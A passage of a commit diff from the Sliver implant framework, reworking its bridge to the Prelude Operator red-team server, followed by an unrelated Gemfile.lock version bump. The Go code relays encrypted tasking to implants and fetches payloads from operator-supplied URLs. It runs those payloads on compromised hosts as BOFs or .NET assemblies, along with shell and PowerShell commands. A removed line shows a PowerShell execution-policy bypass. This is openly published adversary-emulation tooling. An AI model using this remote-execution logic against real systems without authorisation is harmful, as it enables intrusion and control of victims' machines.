coffLoaderPath = "COFFLoader.x86.dll"
|
||||
}
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
|
||||
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
|
||||
loaderData, err := ioutil.ReadFile(loaderPath)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
|
||||
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: coffLoaderName,
|
||||
Data: loaderData,
|
||||
OS: session.OS,
|
||||
OS: implant.GetOS(),
|
||||
Init: "",
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
|
||||
return nil
|
||||
}
|
||||
|
||||
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
|
||||
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
|
||||
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: MakeRequest(session),
|
||||
Request: MakeRequest(implant),
|
||||
})
|
||||
if err != nil {
|
||||
return false
|
||||
|
||||
@@ -0,0 +1,206 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"encoding/hex"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
delim = "\r\n"
|
||||
)
|
||||
|
||||
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
|
||||
// to a Prelude Operator implant with a TCP transport.
|
||||
type OperatorImplantBridge struct {
|
||||
Conn *net.Conn
|
||||
Implant ActiveImplant
|
||||
RPC rpcpb.SliverRPCClient
|
||||
PBeacon OperatorBeacon
|
||||
BeaconCallback func(string, func(*clientpb.BeaconTask))
|
||||
Config AgentConfig
|
||||
|
||||
recv chan []byte
|
||||
send chan []byte
|
||||
}
|
||||
|
||||
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
|
||||
return &OperatorImplantBridge{
|
||||
Conn: c,
|
||||
Implant: a,
|
||||
RPC: rpc,
|
||||
Config: conf,
|
||||
BeaconCallback: callback,
|
||||
PBeacon: pbeacon,
|
||||
recv: make(chan []byte),
|
||||
send: make(chan []byte),
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) register() {
|
||||
data, err := json.Marshal(a.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) ReceiveLoop() {
|
||||
a.register()
|
||||
go func() {
|
||||
for {
|
||||
data := <-a.send
|
||||
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
|
||||
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
|
||||
(*a.Conn).Write(dataBuff)
|
||||
time.Sleep(time.Duration(a.PBeacon.Sleep))
|
||||
}
|
||||
}()
|
||||
for {
|
||||
scanner := bufio.NewScanner(*a.Conn)
|
||||
for scanner.Scan() {
|
||||
msg := strings.TrimSpace(scanner.Text())
|
||||
a.handleMessage(msg)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) handleMessage(message string) {
|
||||
var tempBeacon OperatorBeacon
|
||||
decoded, err := hex.DecodeString(message)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
|
||||
a.PBeacon.Links = a.PBeacon.Links[:0]
|
||||
a.runLinks(&tempBeacon)
|
||||
}
|
||||
}
|
||||
|
||||
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
|
||||
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
|
||||
time.Sleep(time.Second * 1)
|
||||
var payload []byte
|
||||
if link.Payload != "" {
|
||||
payload, _ = requestPayload(link.Payload)
|
||||
}
|
||||
|
||||
// If we're running on a Beacon
|
||||
if implantBridge.BeaconCallback != nil {
|
||||
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
})
|
||||
return
|
||||
}
|
||||
// Running on a Session
|
||||
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
|
||||
link.Response = response
|
||||
link.Status = status
|
||||
link.Pid = pid
|
||||
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
|
||||
implantBridge.Config.EndInstruction(link)
|
||||
implantBridge.refreshBeacon()
|
||||
data, err := json.Marshal(implantBridge.PBeacon)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
implantBridge.send <- data
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func requestPayload(target string) ([]byte, error) {
|
||||
resp, err := http.Get(target)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode != 200 {
|
||||
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
|
||||
}
|
||||
return ioutil.ReadAll(resp.Body)
|
||||
}
|
||||
|
||||
func (a *OperatorImplantBridge) refreshBeacon() {
|
||||
var pwd string
|
||||
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(a.Implant),
|
||||
})
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
a.PBeacon.Sleep = a.Config.Sleep
|
||||
a.PBeacon.Range = a.Config.Range
|
||||
a.PBeacon.Pwd = pwd
|
||||
a.PBeacon.Target = a.Config.Address
|
||||
a.PBeacon.Executing = a.Config.BuildExecutingHash()
|
||||
|
||||
}
|
||||
|
||||
func MakeRequest(a ActiveImplant) *commonpb.Request {
|
||||
timeout := int64(defaultTimeout)
|
||||
req := &commonpb.Request{
|
||||
Timeout: timeout,
|
||||
}
|
||||
if a == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
beacon, ok := a.(*clientpb.Beacon)
|
||||
if ok {
|
||||
req.BeaconID = beacon.ID
|
||||
req.Async = true
|
||||
return req
|
||||
}
|
||||
session, ok := a.(*clientpb.Session)
|
||||
if ok {
|
||||
req.SessionID = session.ID
|
||||
req.Async = false
|
||||
return req
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
+54
-15
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -24,11 +24,13 @@ import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
//RunCommand executes a given command
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
|
||||
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
|
||||
switch executor {
|
||||
case "keyword":
|
||||
task := splitMessage(message, '.')
|
||||
@@ -46,41 +48,76 @@ func RunCommand(message string, executor string, payload []byte, agentSession *A
|
||||
if payload == nil {
|
||||
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
|
||||
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, int(agentSession.Session.GetID())
|
||||
return out, 0, 0
|
||||
case "execute-assembly":
|
||||
if len(task) < 2 {
|
||||
break
|
||||
}
|
||||
var eaargs execasmArgs
|
||||
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
|
||||
err := json.Unmarshal([]byte(argStr), &eaargs)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
if payload == nil {
|
||||
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return out, 0, 0
|
||||
case "exit":
|
||||
return shutdown(agentSession)
|
||||
default:
|
||||
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
default:
|
||||
bites, status, pid := execute(message, executor, agentSession)
|
||||
bites, status, pid := execute(message, executor, agentSession, onFinish)
|
||||
return string(bites), status, pid
|
||||
}
|
||||
return "", ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
|
||||
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
|
||||
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
|
||||
args := append(getCmdArg(executor), cmd)
|
||||
if executor == "psh" {
|
||||
executor = "powershell.exe"
|
||||
} else if executor == "exec" {
|
||||
commandSections := strings.Fields(cmd)
|
||||
executor = commandSections[0]
|
||||
args = commandSections[1:]
|
||||
}
|
||||
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Path: executor,
|
||||
Args: args,
|
||||
Output: true,
|
||||
Request: MakeRequest(agentSession.Session),
|
||||
Request: MakeRequest(implantBridge.Implant),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
|
||||
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
|
||||
}
|
||||
|
||||
// Beacon
|
||||
if execResp.Response != nil && execResp.Response.Async {
|
||||
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execResp)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
|
||||
})
|
||||
return "", 0, 0
|
||||
}
|
||||
|
||||
// Session
|
||||
if execResp.Response != nil && execResp.Response.Err != "" {
|
||||
return execResp.Response.Err, 0, 0
|
||||
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
|
||||
}
|
||||
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
|
||||
}
|
||||
@@ -89,9 +126,11 @@ func getCmdArg(executor string) []string {
|
||||
var args []string
|
||||
switch executor {
|
||||
case "cmd":
|
||||
args = []string{"/C", "/S"}
|
||||
args = []string{"/S", "/C"}
|
||||
case "powershell", "psh":
|
||||
args = []string{"-execu", "ByPasS", "-C"}
|
||||
args = []string{"-execu", "-C"}
|
||||
case "exec":
|
||||
args = []string{}
|
||||
case "sh", "bash", "zsh":
|
||||
args = []string{"-c"}
|
||||
}
|
||||
@@ -109,13 +148,13 @@ func splitMessage(message string, splitRune rune) []string {
|
||||
return values
|
||||
}
|
||||
|
||||
func shutdown(agentSession *AgentSession) (string, int, int) {
|
||||
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
|
||||
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Force: false,
|
||||
Request: MakeRequest(agentSession.Session),
|
||||
Request: MakeRequest(agentSession.Implant),
|
||||
})
|
||||
if err != nil {
|
||||
return err.Error(), ErrorExitStatus, ErrorExitStatus
|
||||
}
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
|
||||
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
|
||||
}
|
||||
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -32,7 +32,7 @@ const (
|
||||
|
||||
type Configuration interface {
|
||||
ApplyConfig(ac map[string]interface{})
|
||||
BuildBeacon() Beacon
|
||||
BuildBeacon() OperatorBeacon
|
||||
}
|
||||
|
||||
type AgentConfig struct {
|
||||
@@ -52,7 +52,7 @@ type AgentConfig struct {
|
||||
Executing map[string]Instruction
|
||||
}
|
||||
|
||||
type Beacon struct {
|
||||
type OperatorBeacon struct {
|
||||
Name string
|
||||
Target string
|
||||
Hostname string
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
type execasmArgs struct {
|
||||
IsDLL bool `json:"isDLL"`
|
||||
Process string `json:"process"`
|
||||
Arguments string `json:"arguments"`
|
||||
Architecture string `json:"architecture"`
|
||||
Method string `json:"method"`
|
||||
Class string `json:"class"`
|
||||
AppDomain string `json:"appDomain"`
|
||||
}
|
||||
|
||||
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
|
||||
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: MakeRequest(implant),
|
||||
IsDLL: args.IsDLL,
|
||||
Process: args.Process,
|
||||
Arguments: args.Arguments,
|
||||
Assembly: asm,
|
||||
Arch: args.Architecture,
|
||||
Method: args.Method,
|
||||
ClassName: args.Class,
|
||||
AppDomain: args.AppDomain,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// If Async req, onFinishCallback won't be nil
|
||||
if onFinishCallback != nil {
|
||||
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
|
||||
return
|
||||
}
|
||||
|
||||
if extResp.Response != nil && extResp.Response.Err != "" {
|
||||
err = errors.New(extResp.Response.Err)
|
||||
}
|
||||
output = string(extResp.Output)
|
||||
|
||||
return
|
||||
}
|
||||
+58
-42
@@ -2,7 +2,7 @@ package prelude
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
@@ -21,7 +21,6 @@ package prelude
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
|
||||
@@ -31,7 +30,7 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SessionMapper *PreludeSessionMapper
|
||||
var ImplantMapper *OperatorImplantMapper
|
||||
|
||||
const defaultImplantSleep = 5
|
||||
|
||||
@@ -42,30 +41,45 @@ type OperatorConfig struct {
|
||||
AESKey string
|
||||
}
|
||||
|
||||
type PreludeSessionMapper struct {
|
||||
sessions []*AgentSession
|
||||
conf *OperatorConfig
|
||||
// OperatorImplantMapper maps an OperatorConfig with
|
||||
// active Sliver implant sessions/beacons
|
||||
type OperatorImplantMapper struct {
|
||||
implantBridges []*OperatorImplantBridge
|
||||
conf *OperatorConfig
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
|
||||
if SessionMapper == nil {
|
||||
SessionMapper = &PreludeSessionMapper{
|
||||
sessions: make([]*AgentSession, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return SessionMapper
|
||||
// ActiveImplant exposes common methods between
|
||||
// Sliver clientpb.Session and clientpb.Beacon
|
||||
// that are required by Operator implants
|
||||
type ActiveImplant interface {
|
||||
GetID() string
|
||||
GetHostname() string
|
||||
GetPID() int32
|
||||
GetOS() string
|
||||
GetArch() string
|
||||
GetFilename() string
|
||||
GetReconnectInterval() int64
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
|
||||
if ImplantMapper == nil {
|
||||
ImplantMapper = &OperatorImplantMapper{
|
||||
implantBridges: make([]*OperatorImplantBridge, 0),
|
||||
conf: conf,
|
||||
}
|
||||
}
|
||||
return ImplantMapper
|
||||
}
|
||||
|
||||
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
|
||||
var pwd string
|
||||
conn, err := net.Dial("tcp", p.conf.OperatorURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
|
||||
Request: MakeRequest(s),
|
||||
Request: MakeRequest(a),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -73,55 +87,57 @@ func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
|
||||
if pwdResp != nil {
|
||||
pwd = pwdResp.Path
|
||||
}
|
||||
// Operator implants have embedded static IDs, but we don't,
|
||||
// so to avoid having multiple sessions showing as one on the Operator
|
||||
// GUI, we need to have a unique name for them.
|
||||
// Plus, having the ID in the name will help the user to make the
|
||||
// correlation.
|
||||
sessName := fmt.Sprintf("%s-%d", s.Name, s.ID)
|
||||
beacon := Beacon{
|
||||
Name: sessName,
|
||||
|
||||
// Use a default sleep time for sessions,
|
||||
// but respect the one we have for beacons
|
||||
sleepTime := defaultImplantSleep
|
||||
if b, ok := a.(*clientpb.Beacon); ok {
|
||||
sleepTime = int(b.ReconnectInterval)
|
||||
}
|
||||
|
||||
beacon := OperatorBeacon{
|
||||
Name: a.GetID(),
|
||||
Target: p.conf.OperatorURL,
|
||||
Hostname: s.Hostname,
|
||||
Location: s.Filename,
|
||||
Platform: s.OS,
|
||||
Hostname: a.GetHostname(),
|
||||
Location: a.GetFilename(),
|
||||
Platform: a.GetOS(),
|
||||
Range: p.conf.Range,
|
||||
Executors: util.DetermineExecutors(s.OS, s.Arch),
|
||||
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
|
||||
Links: make([]Instruction, 0),
|
||||
Executing: "",
|
||||
Pwd: pwd,
|
||||
Sleep: defaultImplantSleep,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
|
||||
if p.conf.AESKey == "" {
|
||||
return errors.New("missing AES key")
|
||||
}
|
||||
a.GetID()
|
||||
encryptionKey := p.conf.AESKey
|
||||
agentConfig := AgentConfig{
|
||||
Name: sessName,
|
||||
Name: a.GetID(),
|
||||
AESKey: encryptionKey,
|
||||
Range: p.conf.Range,
|
||||
Contact: "tcp",
|
||||
Address: p.conf.OperatorURL,
|
||||
Pid: int(s.PID),
|
||||
Pid: int(a.GetPID()),
|
||||
Executing: make(map[string]Instruction),
|
||||
Sleep: defaultImplantSleep,
|
||||
Sleep: int(sleepTime),
|
||||
}
|
||||
util.EncryptionKey = &agentConfig.AESKey
|
||||
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
|
||||
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
|
||||
p.Lock()
|
||||
p.sessions = append(p.sessions, agentSession)
|
||||
p.implantBridges = append(p.implantBridges, bridge)
|
||||
p.Unlock()
|
||||
go agentSession.ReceiveLoop()
|
||||
go bridge.ReceiveLoop()
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
|
||||
p.Lock()
|
||||
for _, agentSession := range p.sessions {
|
||||
if agentSession.Session.ID == s.ID {
|
||||
if agentSession.Conn != nil {
|
||||
err = (*agentSession.Conn).Close()
|
||||
for _, bridge := range p.implantBridges {
|
||||
if bridge.Implant.GetID() == imp.GetID() {
|
||||
if bridge.Conn != nil {
|
||||
err = (*bridge.Conn).Close()
|
||||
} else {
|
||||
err = errors.New("connection is nil")
|
||||
}
|
||||
@@ -131,6 +147,6 @@ func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
|
||||
return err
|
||||
}
|
||||
|
||||
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
|
||||
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
|
||||
return p.conf
|
||||
}
|
||||
@@ -21,25 +21,23 @@ package util
|
||||
func DetermineExecutors(platform string, arch string) []string {
|
||||
platformExecutors := map[string]map[string][]string{
|
||||
"windows": {
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof"},
|
||||
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
|
||||
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
|
||||
},
|
||||
"linux": {
|
||||
"file": {"python3", "pwsh", "sh", "bash"},
|
||||
"executor": {"python", "pwsh", "sh", "bash"},
|
||||
"file": {"python3", "sh", "bash"},
|
||||
"executor": {"python", "sh", "bash"},
|
||||
},
|
||||
"darwin": {
|
||||
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
|
||||
"file": {"python3", "zsh", "sh", "osascript", "bash"},
|
||||
"executor": {"python", "zsh", "sh", "osa", "bash"},
|
||||
},
|
||||
}
|
||||
var executors []string
|
||||
for platformKey, platformValue := range platformExecutors {
|
||||
if platform == platformKey {
|
||||
for i := range platformValue["file"] {
|
||||
// if checkIfExecutorAvailable(platformValue["file"][i]) {
|
||||
executors = append(executors, platformExecutors[platformKey]["executor"][i])
|
||||
// }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
+89
-83
@@ -1,7 +1,7 @@
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
activesupport (6.0.4)
|
||||
activesupport (6.0.4.6)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 0.7, < 2)
|
||||
minitest (~> 5.1)
|
||||
@@ -14,48 +14,54 @@ GEM
|
||||
execjs
|
||||
coffee-script-source (1.11.1)
|
||||
colorator (1.1.0)
|
||||
commonmarker (0.17.13)
|
||||
ruby-enum (~> 0.5)
|
||||
commonmarker (0.23.4)
|
||||
concurrent-ruby (1.1.9)
|
||||
dnsruby (1.61.7)
|
||||
dnsruby (1.61.9)
|
||||
simpleidn (~> 0.1)
|
||||
em-websocket (0.5.2)
|
||||
em-websocket (0.5.3)
|
||||
eventmachine (>= 0.12.9)
|
||||
http_parser.rb (~> 0.6.0)
|
||||
ethon (0.14.0)
|
||||
http_parser.rb (~> 0)
|
||||
ethon (0.15.0)
|
||||
ffi (>= 1.15.0)
|
||||
eventmachine (1.2.7)
|
||||
execjs (2.8.1)
|
||||
faraday (1.5.0)
|
||||
faraday (1.10.0)
|
||||
faraday-em_http (~> 1.0)
|
||||
faraday-em_synchrony (~> 1.0)
|
||||
faraday-excon (~> 1.1)
|
||||
faraday-httpclient (~> 1.0.1)
|
||||
faraday-httpclient (~> 1.0)
|
||||
faraday-multipart (~> 1.0)
|
||||
faraday-net_http (~> 1.0)
|
||||
faraday-net_http_persistent (~> 1.1)
|
||||
faraday-net_http_persistent (~> 1.0)
|
||||
faraday-patron (~> 1.0)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-rack (~> 1.0)
|
||||
faraday-retry (~> 1.0)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-em_http (1.0.0)
|
||||
faraday-em_synchrony (1.0.0)
|
||||
faraday-excon (1.1.0)
|
||||
faraday-httpclient (1.0.1)
|
||||
faraday-multipart (1.0.3)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
faraday-net_http (1.0.1)
|
||||
faraday-net_http_persistent (1.1.0)
|
||||
faraday-net_http_persistent (1.2.0)
|
||||
faraday-patron (1.0.0)
|
||||
ffi (1.15.3)
|
||||
faraday-rack (1.0.0)
|
||||
faraday-retry (1.0.3)
|
||||
ffi (1.15.5)
|
||||
forwardable-extended (2.6.0)
|
||||
gemoji (3.0.1)
|
||||
github-pages (215)
|
||||
github-pages-health-check (= 1.17.2)
|
||||
github-pages (225)
|
||||
github-pages-health-check (= 1.17.9)
|
||||
jekyll (= 3.9.0)
|
||||
jekyll-avatar (= 0.7.0)
|
||||
jekyll-coffeescript (= 1.1.1)
|
||||
jekyll-commonmark-ghpages (= 0.1.6)
|
||||
jekyll-commonmark-ghpages (= 0.2.0)
|
||||
jekyll-default-layout (= 0.1.4)
|
||||
jekyll-feed (= 0.15.1)
|
||||
jekyll-gist (= 1.5.0)
|
||||
jekyll-github-metadata (= 2.13.0)
|
||||
jekyll-include-cache (= 0.2.1)
|
||||
jekyll-mentions (= 1.6.0)
|
||||
jekyll-optional-front-matter (= 0.3.2)
|
||||
jekyll-paginate (= 1.1.0)
|
||||
@@ -64,22 +70,22 @@ GEM
|
||||
jekyll-relative-links (= 0.6.1)
|
||||
jekyll-remote-theme (= 0.4.3)
|
||||
jekyll-sass-converter (= 1.5.2)
|
||||
jekyll-seo-tag (= 2.7.1)
|
||||
jekyll-seo-tag (= 2.8.0)
|
||||
jekyll-sitemap (= 1.4.0)
|
||||
jekyll-swiss (= 1.0.0)
|
||||
jekyll-theme-architect (= 0.1.1)
|
||||
jekyll-theme-cayman (= 0.1.1)
|
||||
jekyll-theme-dinky (= 0.1.1)
|
||||
jekyll-theme-hacker (= 0.1.2)
|
||||
jekyll-theme-leap-day (= 0.1.1)
|
||||
jekyll-theme-merlot (= 0.1.1)
|
||||
jekyll-theme-midnight (= 0.1.1)
|
||||
jekyll-theme-minimal (= 0.1.1)
|
||||
jekyll-theme-modernist (= 0.1.1)
|
||||
jekyll-theme-primer (= 0.5.4)
|
||||
jekyll-theme-slate (= 0.1.1)
|
||||
jekyll-theme-tactile (= 0.1.1)
|
||||
jekyll-theme-time-machine (= 0.1.1)
|
||||
jekyll-theme-architect (= 0.2.0)
|
||||
jekyll-theme-cayman (= 0.2.0)
|
||||
jekyll-theme-dinky (= 0.2.0)
|
||||
jekyll-theme-hacker (= 0.2.0)
|
||||
jekyll-theme-leap-day (= 0.2.0)
|
||||
jekyll-theme-merlot (= 0.2.0)
|
||||
jekyll-theme-midnight (= 0.2.0)
|
||||
jekyll-theme-minimal (= 0.2.0)
|
||||
jekyll-theme-modernist (= 0.2.0)
|
||||
jekyll-theme-primer (= 0.6.0)
|
||||
jekyll-theme-slate (= 0.2.0)
|
||||
jekyll-theme-tactile (= 0.2.0)
|
||||
